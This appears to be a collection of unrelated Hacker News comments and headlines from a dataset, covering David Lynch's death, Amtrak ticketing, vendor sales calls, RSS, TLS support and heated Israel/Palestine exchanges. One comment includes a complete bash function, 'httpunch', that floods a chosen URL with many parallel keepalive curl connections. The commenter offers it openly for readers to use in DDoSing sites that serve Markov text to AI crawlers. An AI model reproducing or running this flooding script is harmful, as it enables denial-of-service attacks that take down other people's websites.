skysight-inc/HackerNews huggingface dataset:
which type of articles do you usually read, I ask because I was hoping to integrate articles and zen mode in my app - unlace.app, because I feel the same on my ultrawide
That was certainly the case 15 years ago.

The only switching/routing vendor with an API worth a damn was Juniper - in fact they were the only vendor who was applying CLI changes to the box via their own API, the Way It Should Be Done™.

These days you are spoilt for choice (and price point) with the likes of Arista, HPe (AOS-CX), Cisco (NX-OS, IOS-XR) and plenty of others entering the space.

Vote with your wallet!
There’s none.
It is funny but it is genuinely a enormous waste of energy and money.
To me that was his movie that made most sense. It seems a perfect allegorical depiction of what it means to have bad conscience.
Often enough a protocol was made to deal with it. The compromises have mostly been kept quiet though or at least didn’t get much news traction.
Please don't post nationalistic flamebait to HN. That's a pretty insulting variant of it.

(I love the adage you quote, though. When I first heard it it said "Canadian" and "Englishman", which probably says something about how far back it goes.)
The comment at the root of this thread was specifically addressing making it to orbit on first launch - which a bench test isn't.
It's a pretty narrow threat model for Alice to get her cert stolen by Bob, be completely unaware that this has happened, and the means Bob used only works once.
It was also just destroyed by fire so probably a bad idea to rebuild there.
David Lynch was a giant in film directing with his unique vision and surreal style and he gave us so many great movies. But more importantly I feel that he inspired so many modern movie directors such as Ari Aster and Yorgos Lanthimos to make movies like that. I put Lynch in the same category of greatness as Kubrick and Tarkovsky. True genius!
David Lynch, Director of 'Twin Peaks' and 'Blue Velvet,' Dies at 78
> Terraria?

Yes!
Hoof Hearted
> If your job is writing small snippets of code to solve clearly defined problems, AI can replace you today.

I strongly question the existence of these jobs; even the simplest "add some forms to this page" consultancy work in an app older than a few years tends to have requirements complexity around integrating with ancient/bespoke frameworks. If these jobs did exist, you'd assume they would have already been outsourced to SEA.
David Lynch, Twin Peaks and Elephant Man director, dies aged 78
People downvote and flag topics that are divisive, regardless of point of view. Such topics are simply not right for HN. It doesn't mean the topic is not important -- it just means this is not the place for that discussion.

So to answer your question - No. We do not need to change the way HN works specifically to encourage topics that are better served elsewhere. Don't take the flagging personally, just find a better place to have such important discussions.
The probability of life and all the steps that lead to it is obviously not more infinitesimal than all potential actions of all the molecules in the universe over time. It happened on Earth and it "only" took 150-650 million years after water formed on the planet. We just don't know how much more likely it is than "so rare we are lucky to be the only ones."
Series S is severely ram-starved at 10GB (~2GB used for OS, so 8GB functionally)

Switch 2 has 12GB according to leaks
I really want a PHEV, and will probably have one in 2-3 years. I won't be buying one, though - I'll be retrofitting my existing 2000 Jeep Wrangler, even if I have to design and build the whole thing from scratch.

I like the technology. It makes a ton of sense for my use case. The support network isn't quite there yet in my area, but I can probably make do with a PHEV for myself and a ICE or hybrid for my wife for a decade at least. I don't typically drive my vehicle far or often, but when I do it's critical that I have access to it.

I'm really hoping there will either be a "dumb EV" hit the market or ICE conversion kits will become much more mature and popular.
U r
According to NYT there is a new mission statement, but the "slogan" isn't changing:

> After Donald J. Trump entered the White House in 2017, The Washington Post adopted a slogan that underscored the newspaper’s traditional role as a government watchdog: “Democracy Dies in Darkness.”

> This week, as Mr. Trump prepares to re-enter the White House, the newspaper debuted a mission statement that evokes a more expansive view of The Post’s journalism, without death or darkness: “Riveting Storytelling for All of America.”

> The statement is meant to be an internal rallying point for employees, according to two people with knowledge of the decision. Executives are not planning to replace its more strident public slogan. Suzi Watford, The Post’s chief strategy officer, has been previewing it to some employees this week.

https://www.nytimes.com/2025/01/16/business/media/the-washin...
We have a saying in my home country, roughly: 'spoken words fly away, written words remain'.

For reliable and specific matters using calls is unfit for the purpose. I avoid talking about those as a primary medium, being only suplementary. Something not written down never existed in the end.

In matters I do not know to the slightes, where to begin with, talking to a person is better starting with. Then after getting my bearings step back to the reliability of written words and written discussions and written agreements and such is the way.

And those insist on speeking instead of providing written info is a big warning sign about something fishy (intent of misdirection, incompetency, cluelessness, confused internals, ...) is hiding there.
>It doesnt all need to be automated for it to basically crush SWE as a good career

Let's be real, even at $60k, the WFH makes it tolerable, but you'll need lifestyle changes like selling your house if your mortgage is too much. Plenty of people working hospital jobs making around $40k and we don't deal with medical sharps and patients that bite you. It could always be worse.

If companies don't see the value with human engineers, let them suffer the consequences. If they can run a business with only AI coding, there probably isn't a significant moat there, and then they'll have lots of competition as a lot of bored SWEs use AI as well and start companies to stay in the game.
> You were fine the first 4 years you'll be fine the next 4 years.

That's not a given. Donald Trump spent most of his first term on the golf course, with all of the work done by staffers. Those staffers were Bush staffers, so it's not surprising that the first Trump term felt like another Bush term in many ways.

This White House has a very different set of staffers, and will result in a very different presidency.
Major authentication providers still doesn't support TLS 1.3
It is impressive that some of the largest authentication/authorization providers don't support TLS 1.3, are there any other known providers which do the same in the security space?
You're saying tech workers living in the tech capital start posting tech stories on the tech website when they get to their tech jobs?
Back like 15 to 20 years ago when I ran or helped manage some hobbyist websites, I added RSS functionality if only because it was "popular" back then.

I can confidently tell you not a single bloody soul used it, at the height of adoption no less.

If I run a website again I definitely won't bother, it's additional maintenance for a feature nobody uses. The cost-to-benefit ratio makes no sense because the benefit is zero.
In this market? You might be doing him a favour
I work at $bigco and there is a team of people whose job is to sit on these calls when we want to engage with a vendor. Engineers aren’t even allowed on these calls and everything is filtered through the gatekeeper.

I would love if we could talk with potential vendors directly through email. I think I one waited several months for the gatekeeper to ask the vendor engineers a 10 question document.
The post proposes a solution to the overload of subscribing to subreddits by subscribing to a search for only the top posts from the subreddit.
Hm, does not appear sound to me because it seems to be utterly impossible to control for other factors that happened during the last 2k years. I completely agree that there may be the possibility to segment the population along an imaginary line that matches the extend of the Roman Empire. But to conclude that this segmentation was caused by a state border 2k years ago needs extraordinary evidence. Some statistical analysis is not enough to verify or reject this assumption.
There has never been a time in the history of the greater Russian Empire when good people captured the levers of power.
I haven't been on an Amtrak in about six months, so it may have changed, but where were you boarding? Was it New York? Boarding in NY is slow and structured, but when I've boarded in Back Bay (Boston), Portland (Maine), and Providence, it's the better way that you've mentioned.

They make everyone rescan tickets for the North East regional in NY also, if you're just passing through. It's a bit annoying, but I wonder if the traffic getting on and off is too great in NY to be able to do that. I have no clue, though.
Just realized RSS+LLM might be a really nice combo.

Use RSS to get the full take then use a local LLM to filter out the noise and customize the feed to one's personal preferences.
Somedays I long for a world where everyone has a touch more of the mad creativity he had.

Perhaps we do and we just need to nurture it more.

Also the Mr Plow-ish of all playstation advertisements.

https://www.youtube.com/watch?v=Laf9vpJMDjA
That must be new or station specific because my experience has been to buy the tickets, stand on the platform, put away your bags yourself and take a seat. Tickets are checked on board. Very seamless and stress free.
Eurasia -> Eastasia
I am so behind this even in day to day interactions. I do not need to have a 1 hour meeting or teams call for something that could be an email thread.
I think it also depends on how much yak-shaving is involved in the domain, regardless of expertise. Whether that’s something simple like remembering the right bash incantation or something more complex like learning enough Terraform and providers to be able to spin up cloud infrastructure.

Some projects just have a lot of stuff to do around the edges and LLMs excel at that.
Yes the bad airline mentality goes a long way to denying these things are possible.

Once one accepts that people are going to constantly leaving and entering the platform, that all ticket checking must happen on the train to not impeed circulation, running way more trains needing fewer platforms is revealed as (a) possible, and (b) the right way to do things.
I ride Amtrak monthly, this is not true. Like every other train, ticket checking always happens while moving.
the sound I make every time I need to wrangle YAML directly
While I agree with the general thrust of your argument, the use of prison and rehabilitation is a poor example to make your point.

Recidivism is a well-studied topic in the social sciences. There is a multi-factor causal chain behind the high-rate of recidivism, driven by the circumstances of the individual (past trauma) that led to incarceration in the first place, the resources available in a particular prison (few are equipped to properly rehabilitate the inmates) and the barriers that society places on reintegration for those individuals. For a prior criminal, the paths to a middle-class existence are few and far between. For professionals, resuming a profession, be it doctor, lawyer, accountant, engineer, etc. is almost impossible with a criminal record. So is holding down a government job, any job in the military or defence requiring a clearance, any positions that may require the public trust, such as working with children. Banks will not provide loans to individuals with a criminal record, making it impossible to start a business.

This is a topic worth reading up on in greater depth.
Personal attacks and/or religious flamewar will get you banned on HN. You can't post like this or https://news.ycombinator.com/item?id=42712561 here.

If you'd please review https://news.ycombinator.com/newsguidelines.html and stick to the rules when posting here, we'd appreciate it.
Do you consider ”durability” to include idempotency? How can you guarantee that without requiring the developer to specify a (verifiable) rollback procedure for each “step?” If Step 1 inserts a new purchase into my local DB, and Step 2 calls the Stripe API to “create a new purchase,” what if Step 2 fails (even after retries, eg maybe my code is using the wrong URL or Stripe banned me)? Maybe you haven’t “committed” the transaction yet, but I’ve got a row in my database saying a purchase exists. Should something clean this up? Is it my responsibility to make sure that row includes something like a “transaction ID” provided by DBOS?

It just seems that the “durability” guarantees get less reliable as you add more dependencies on external systems. Or at least, the reliability is subject to the interpretation of whichever application code interacts with the result of these workflows (e.g. the shipping service must know to ignore rows in the local purchase DB if they’re not linked to a committed DBOS transaction).
The most inefficient protocol of the internet.
Its too bad it does the last redirect.
Im not sure we are speaking the same language. It seems like you are fixated on some specific situations outcomes, not the concept of credit itself.
96, easy. Lets go, real time math tutoring in the hackernews comments, 2025 baby! :D
Stop! You'll get us in an infinite feedback loop!
I want to push back on the surreal end slightly. It's true that his movies are extremely resistant to analysis, and it's true that much of his imagery is de-facto surreal. But his movies still have narratives assembled from humans in concrete situations with concrete problems and easily understandable actions and reactions. In other words, you can enjoy his movies as an experience at relative face-value in a way many other forms of surreal art resist.

Some more than others, perhaps—the man produced Dune and Eraserhead pretty damn close together, and Eraserhead is not generally considered an easy movie to watch. But the man was never afraid or dismissive of giving us straightforwardly enjoyable cinema, even if we can't easily articulate why!
> If Israel were acting like the Nazis, there wouldn't be any Palestinians left in Gaza.

This is literally the "if the holocaust were a genocide, how come there's still jews" take. Please go and get a grip.
>I personally will never use a platform that can kick me out on a whim, or could screw me the moment Gabe Newell gets hit by a bus.

Dude, you have to rebuy all the games you've already bought and already own every odd generation. Imagine paying for NES and SNES games, Wii and Wii U games and other old garbage you already own? That's Nintendo.

On steam you have absolutely massive library dating back almost 20 years by this point, and it comes with you every time you buy a new device, whatever it might be a PC, laptop or SteamDeck.

Yes, steamdeck is pretty large and bulky, but you can get 5 hours battery life on non-demanding indie titles (ie. Hades on the updated deck OLED models)

Yes, you can dock a Steamdeck to a TV easily.

It's all around better, completely open device, minus the size (and battery life in demanding AAA titles switch can't dream of running anyway)
Yeah... thankfully, it's "pretty simple" for clients to implement. Just add a JSON field to your payload and that's it. (There's a little bit of error checking logic and input validation, like making sure the value is valid, but overall it's not too complex, unlike ARI, which is much more work.)
Six days? I can't even set the cron job to weekly. Maybe that is the point of this though from being on call I really hate thing restarting every day. Caddy, Nginx, HAProxy, and IIS all seem to handle certs without a full restart. MS SQL Server, nope.
> If a jewish prisoner in Dachau had written in his diary that he will kill all Nazi Germans if he can escape the concentration camp would you accept the narrative of a Nazi claiming "See? The Jews wanted to also genocide us, so the holocaust was justified actually" Of course you wouldn't

Isn’t it notable that this is a hypothetical? Jews aren’t killing Germans. Native Americans aren’t bombing Americans, Indians aren’t bombing England…there is simply a choice that has been made in the way some groups have prosecuted past persecution that is relevant to present treatment. Generational hatred for crimes committed by ancestors isn’t a requirement.

Israel and Palestine is a fucked situation because both sides have hardlined the other as terrorists or genociders. Both side reject the other’s label, and on somewhat credible grounds. As long as those hard lines exist, the people can’t coëxist. (There are people in this thread complaining about millennia-old transgressions. Like, so the Mongolians owe the Turks reparations?!)

And practically speaking, that sort of points—long term—to a single path for the region. (It’s notable, too, that nobody is willing to accept Palestinians as refugees. Both out of security concerns and because the nutter wing would label helping people as facilitating genocide.)
You can also leave samizdat on the walls of the washrooms, but it's going to have about as much effect.
> you sell a product where it's easy to determine the cost for one user signing up by themselves, so you figure out the required markup and publish that on your site.

Then someone at a large organization can multiply this number by the expected number of licenses they'll need, and get a ballpark estimate for the (upper bound of the) costs of the service, which is a critical input in determining whether it's even worthwhile to consider talking to the vendor. Having that information, the organization can then schedule a call to negotiate whatever extra adaptations and discounts they need, or realize signing up is unlikely to have positive ROI and skip it, which also saves the seller from wasting their time on a deal that won't come through.

Vendors that hide critical information and pricing behind a phone call are eating the risk of having their time wasted on negotiating deals that would never succeed, trading it for a chance to scam some clueless or loss-insensitive companies for some big money.
(Hello Troy (and Overfield) neighbor... >smile<)

CivicPlus, the hosting company for Troy's site, does a fairly decent job. (They're rather pricey, in my opinion, though.)

Miami County government uses them to host some of the various County websites. We expose some RSS feeds, send email notifications, etc. The biggest problem with the platform is getting elected officials and departments to see the value in using the platform (versus just posting scanned PDFs, Excel files, and doing things "the old way"). The City has a little easier job because there aren't so many independent elected offices.
Show HN: I made an app to manage and track dynamic QR codes
I built this tool for myself. I need a simple tool to produce, manage, and track QR Codes along with their related campaigns. Most existing tools require a paid plan to unlock tracking and management features. It's a nominal personal cost to share it with other folks. Enjoy.

Tech stack: Ruby, Sinatra, SQLite, Litestream, Fly.io

FAQ: https://qrpotato.com/faq
I really really hope we never stop making these over-reaching global companies pay when they try to fuck everybody, if no else is gonna keep them in check then I fear where it would go.
You want to do business here ? Make money off us ? By our rules then.
Apparently not! https://news.ycombinator.com/item?id=42729717

Funny :)
It's not. It's rather pointless and frankly, nearsighted. And we can DDoS sites like this just as offensively as well simply by making many requests to it since its own docs say its Markov generation is computationally expensive, but it is NOT expensive for even 1 person to make many requests to it. Just expensive to host. So feel free to use this bash function to defeat these:

httpunch() {
local url=$1
local connections=${2:-${HTTPUNCH_CONNECTIONS:-100}}
local action=$1
local keepalive_time=${HTTPUNCH_KEEPALIVE:-60}
local silent_mode=false

# Check if "kill" was passed as the first argument
if [[ $action == "kill" ]]; then
echo "Killing all curl processes..."
pkill -f "curl --no-buffer"
return
fi

# Parse optional --silent argument
for arg in "$@"; do
if [[ $arg == "--silent" ]]; then
silent_mode=true
break
fi
done

# Ensure URL is provided if "kill" is not used
if [[ -z $url ]]; then
echo "Usage: httpunch [kill | <url>] [number_of_connections] [--silent]"
echo "Environment variables: HTTPUNCH_CONNECTIONS (default: 100), HTTPUNCH_KEEPALIVE (default: 60)."
return 1
fi

echo "Starting $connections connections to $url..."
for ((i = 1; i <= connections; i++)); do
if $silent_mode; then
curl --no-buffer --silent --output /dev/null --keepalive-time "$keepalive_time" "$url" &
else
curl --no-buffer --keepalive-time "$keepalive_time" "$url" &
fi
done

echo "$connections connections started with a keepalive time of $keepalive_time seconds."
echo "Use 'httpunch kill' to terminate them."
}

(Generated in a few seconds with the help of an LLM of course.) Your free speech is also my free speech. LLM's are just a very useful tool, and Llama for example is open-source and also needs to be trained on data. And I <opinion> just can't stand knee-jerk-anticorporate AI-doomers who decide to just create chaos instead of using that same energy to try to steer the progress </opinion>.
Very sad. I had the privilege of watching the late Roger Ebert deconstruct "Mulholland Drive" at the Conference on World Affairs at the University of Colorado during the daily Cinema Interruptus. Each day for a week, we spent an hour or two analyzing the film, with anyone in the audience able to shout "stop" to pause the screening and discuss any aspect of the movie with Ebert. His insights and thoughtful manner of speaking about film left a lasting impression on me. RIP.
"And the snozzberries taste like snozzberries!"

I wonder what the nutritional details are. I am actually intrigued by this from a snacking/diet perspective. (In the same way that gum helps displace other stuff.)
NYT: We're Sharing the Data Behind Our Detailed 2024 Election Map
I recommend starting at the beginning with Eraserhead. He hasn't made anything I would classify as less than brilliant.
Going to add the most important thing: It is perfectly fine to end calls early if it feels like it has phased itself out. Don't be afraid to do so! Everyone on the call is costing someone else a lot of income. This goes for internal or external calls.
A not fake theory of everything
abstract: in this ~500 word1 introductory paper, i present a not fake theory of everything2. i start by extending christopher alexander’s definition of life as a status and attribute. i then posit that life is the physical interface of consciousness, referencing giulio tononi’s informational theory of consciousness and modeling conscious as a system that integrates information. i describe life as a function of ross ashby’s law of requisite variety and conclude by rigorizing god as the highest geometric point within a context window. in doing so, i pair scale-free symbol grounded definitions of consciousness, life and god with novel definitions of intelligence and technology that (a) require no scientific, philosophical or religious priors, (b) explain what’s working, not working and why across across systems of all organizational scales including activities of daily living and (c) does not ask the reader to make any fantastical or non observable conceptual leaps.
I believe this is one of the main reasons cloudflare focused so much on Workers: it allowed them to replace much of the one-off features they had to develop for various customers
If McDonald's insisted on having a long sales phone call to sell me a burger, then yeah, I'd expect them to be able to provide me that information.
Shareholder morale